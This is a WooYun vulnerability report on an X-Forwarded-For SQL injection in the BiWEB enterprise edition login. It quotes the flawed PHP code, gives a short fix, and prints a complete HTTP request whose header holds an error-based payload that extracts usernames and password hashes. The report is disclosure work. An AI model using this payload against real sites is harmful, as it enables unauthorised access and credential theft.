BiWEB最新企业版XFF注入一枚 | wooyun-2014-081921

漏洞概要关注数(24) 关注此漏洞

缺陷编号：

wooyun-2014-081921

漏洞标题：

BiWEB最新企业版XFF注入一枚

漏洞详情

披露状态：

2014-11-06：积极联系厂商并且等待厂商认领中，细节不对外公开
2015-02-04：厂商已经主动忽略漏洞，细节向公众公开

简要描述：

BiWEB最新企业版XFF注入一枚

详细说明：

看到pandas提交的BiWEB的漏洞 WooYun: BIWEB企业版多处SQL注入，pandas在search.php里找到了几个注入漏洞，我也来凑下热闹。去官网下BiWEB企业版最新的5.8.6来看看。
看看用户登录处是怎么处理的。BiWEB首先对GET和POST进行了过滤，/config/filtrate.inc.php

<?php
//过滤GET或POST的值，去除两端空格和转义符号
if ($_SERVER['REQUEST_METHOD'] == 'POST'){
	check::filtrateData($_POST,$arrGPdoDB['htmlspecialchars']);
}elseif($_SERVER['REQUEST_METHOD'] == 'GET'){
	check::filtrateData($_GET,$arrGPdoDB['htmlspecialchars']);
}
?>

这里就先不说这种过滤的脑残之处了。
继续往下看，判断用户是否可以正常登录的文件/mcenter/class/mcenter.class.php，若登录成功，则执行下面的代码（测试时请先注册一个用户）。

无关代码
if($arr){
			if(is_array($_SESSION)) $_SESSION = array_merge($_SESSION,$arr);
			else $_SESSION = $arr;
			$arrUpdate = array();
			$arrUpdate['user_ip'] = check::getIP();
			$arrUpdate['lastlog'] = date('Y-m-d H:i:s');
			$arrUpdate['user_id'] = $arr['user_id'];
			$arrUpdate['logtimes'] = ++$arr['logtimes'];
			$arrUpdate['session_id'] = session_id();
			$this->updateUser($arrUpdate);
			return 1;
		}else{
			if($isAlert) check::AlertExit("用户名或密码错误",-1);
			else return 0;
		}
无关代码

可以看到，上面代码中有这么一句$arrUpdate['user_ip'] = check::getIP();，然后没有过滤就直接执行SQL了。现在去看看ip是怎么获得的。
/web_common5.8/check.class.php

static function getIP() {
        $ip = '';
        if ($_SERVER["HTTP_CLIENT_IP"]) $ip = $_SERVER["HTTP_CLIENT_IP"];
        else if($_SERVER["HTTP_X_FORWARDED_FOR"])	$ip = $_SERVER["HTTP_X_FORWARDED_FOR"];
        else if($_SERVER["REMOTE_ADDR"]) $ip =$_SERVER["REMOTE_ADDR"];
        else $ip = "Unknow";
        return $ip;
}

到这里就知道有问题了，登录，抓包，使用X-FROWARDED-FOR带入注入语句，成功注入。
Payload:

POST /user/login.php HTTP/1.1
Host: 192.168.0.107
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:33.0) Gecko/20100101 Firefox/33.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh,zh-cn;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://192.168.0.107/user/login.php
x-forwarded-for:1' or  (select 1 from (select count(*),concat(0x23,(select concat(user_name,0x23,password)from biweb_mcenter limit 0,1),floor(rand(0)*2))x from 
information_schema.tables group by x)a) or'
Cookie: AJSTAT_ok_times=8; bdshare_firstime=1414502402741; ypsdffp2app_admininfo=88ff7944laVfYY9BL1FuA%2BbNLMa%2Brd04KKHHyTrxgcY0sufkNR1I4pXCpZqYgYd9Y%2BqfL
%2B4XwwN8WETv4bcEbqKo28CQBBbS0iWJDNmoWbq4y1I; PHPSESSID=sdaar3bonn3fma2h5hmdet4pe5
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 36
User=admin&Pass=admin&authCode=muran

成功注入

漏洞证明：

见详细说明

修复方案：

执行SQL前过滤

版权声明：转载请注明来源路人甲@乌云

漏洞回应

厂商回应：

未能联系到厂商或者厂商积极拒绝

WooYun.org

漏洞概要 关注数(24) 关注此漏洞